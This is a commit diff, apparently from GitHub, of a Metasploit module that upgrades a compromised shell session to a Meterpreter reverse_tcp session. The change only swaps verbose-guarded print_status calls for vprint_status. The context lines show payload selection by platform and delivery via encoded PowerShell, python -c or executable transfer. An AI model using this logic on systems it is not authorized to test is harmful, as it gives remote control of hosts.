@@ -78,15 +78,15 @@ def run
78
78
lplat = [ Msf ::Platform ::Windows ]
79
79
larch = [ ARCH_X86 ]
80
80
psh_arch = 'x86'
81
- print_status ( "Platform: Windows" ) if datastore [ 'VERBOSE' ]
81
+ vprint_status ( "Platform: Windows" )
82
82
when /osx/i
83
83
platform = 'python'
84
84
payload_name = 'python/meterpreter/reverse_tcp'
85
- print_status ( "Platform: OS X" ) if datastore [ 'VERBOSE' ]
85
+ vprint_status ( "Platform: OS X" )
86
86
when /solaris/i
87
87
platform = 'python'
88
88
payload_name = 'python/meterpreter/reverse_tcp'
89
- print_status ( "Platform: Solaris" ) if datastore [ 'VERBOSE' ]
89
+ vprint_status ( "Platform: Solaris" )
90
90
else
91
91
# Find the best fit, be specific with uname to avoid matching hostname or something else
92
92
target_info = cmd_exec ( 'uname -mo' )
@@ -96,16 +96,16 @@ def run
96
96
payload_name = 'linux/x86/meterpreter/reverse_tcp'
97
97
lplat = [ Msf ::Platform ::Linux ]
98
98
larch = [ ARCH_X86 ]
99
- print_status ( "Platform: Linux" ) if datastore [ 'VERBOSE' ]
99
+ vprint_status ( "Platform: Linux" )
100
100
elsif cmd_exec ( 'python -V' ) =~ /Python (2|3)\. (\d )/
101
101
# Generic fallback for OSX, Solaris, Linux/ARM
102
102
platform = 'python'
103
103
payload_name = 'python/meterpreter/reverse_tcp'
104
- print_status ( "Platform: Python [fallback]" ) if datastore [ 'VERBOSE' ]
104
+ vprint_status ( "Platform: Python [fallback]" )
105
105
end
106
106
end
107
107
payload_name = datastore [ 'PAYLOAD_OVERWRITE' ] if datastore [ 'PAYLOAD_OVERWRITE' ]
108
- print_status ( "Upgrade payload: #{ payload_name } " ) if datastore [ 'VERBOSE' ]
108
+ vprint_status ( "Upgrade payload: #{ payload_name } " )
109
109
110
110
if platform . blank?
111
111
print_error ( "Shells on the the target platform, #{ session . platform } , cannot be upgraded to Meterpreter at this time." )
@@ -129,26 +129,26 @@ def run
129
129
case platform
130
130
when 'win'
131
131
if ( have_powershell? ) && ( datastore [ 'WIN_TRANSFER' ] != 'VBS' )
132
- print_status ( "Transfer method: Powershell" ) if datastore [ 'VERBOSE' ]
132
+ vprint_status ( "Transfer method: Powershell" )
133
133
psh_opts = { :prepend_sleep => 1 , :encode_inner_payload => true , :persist => false }
134
134
cmd_exec ( cmd_psh_payload ( payload_data , psh_arch , psh_opts ) )
135
135
else
136
136
print_error ( 'Powershell is not installed on the target.' ) if datastore [ 'WIN_TRANSFER' ] == 'POWERSHELL'
137
- print_status ( "Transfer method: VBS [fallback]" ) if datastore [ 'VERBOSE' ]
137
+ vprint_status ( "Transfer method: VBS [fallback]" )
138
138
exe = Msf ::Util ::EXE . to_executable ( framework , larch , lplat , payload_data )
139
139
aborted = transmit_payload ( exe )
140
140
end
141
141
when 'python'
142
- print_status ( "Transfer method: Python" ) if datastore [ 'VERBOSE' ]
142
+ vprint_status ( "Transfer method: Python" )
143
143
cmd_exec ( "python -c \" #{ payload_data } \" " )
144
144
else
145
- print_status ( "Transfer method: Bourne shell [fallback]" ) if datastore [ 'VERBOSE' ]
145
+ vprint_status ( "Transfer method: Bourne shell [fallback]" )
146
146
exe = Msf ::Util ::EXE . to_executable ( framework , larch , lplat , payload_data )
147
147
aborted = transmit_payload ( exe )
148
148
end
149
149
150
150
if datastore [ 'HANDLER' ]
151
- print_status ( "Cleaning up handler" ) if datastore [ 'VERBOSE' ]
151
+ vprint_status ( "Cleaning up handler" )
152
152
cleanup_handler ( listener_job_id , aborted )
153
153
end
154
154
return nil
@@ -188,7 +188,7 @@ def transmit_payload(exe)
188
188
total_bytes = 0
189
189
cmds . each { |cmd | total_bytes += cmd . length }
190
190
191
- print_status ( "Starting transfer..." ) if datastore [ 'VERBOSE' ]
191
+ vprint_status ( "Starting transfer..." )
192
192
begin
193
193
#
194
194
# Run the commands one at a time
@@ -230,7 +230,7 @@ def cleanup_handler(listener_job_id, aborted)
230
230
framework . threads . spawn ( 'ShellToMeterpreterUpgradeCleanup' , false ) {
231
231
if !aborted
232
232
timer = 0
233
- print_status ( "Waiting up to #{ HANDLE_TIMEOUT } seconds for the session to come back" ) if datastore [ 'VERBOSE' ]
233
+ vprint_status ( "Waiting up to #{ HANDLE_TIMEOUT } seconds for the session to come back" )
234
234
while !framework . jobs [ listener_job_id ] . nil? && timer < HANDLE_TIMEOUT
235
235
sleep ( 1 )
236
236
timer += 1
0 commit comments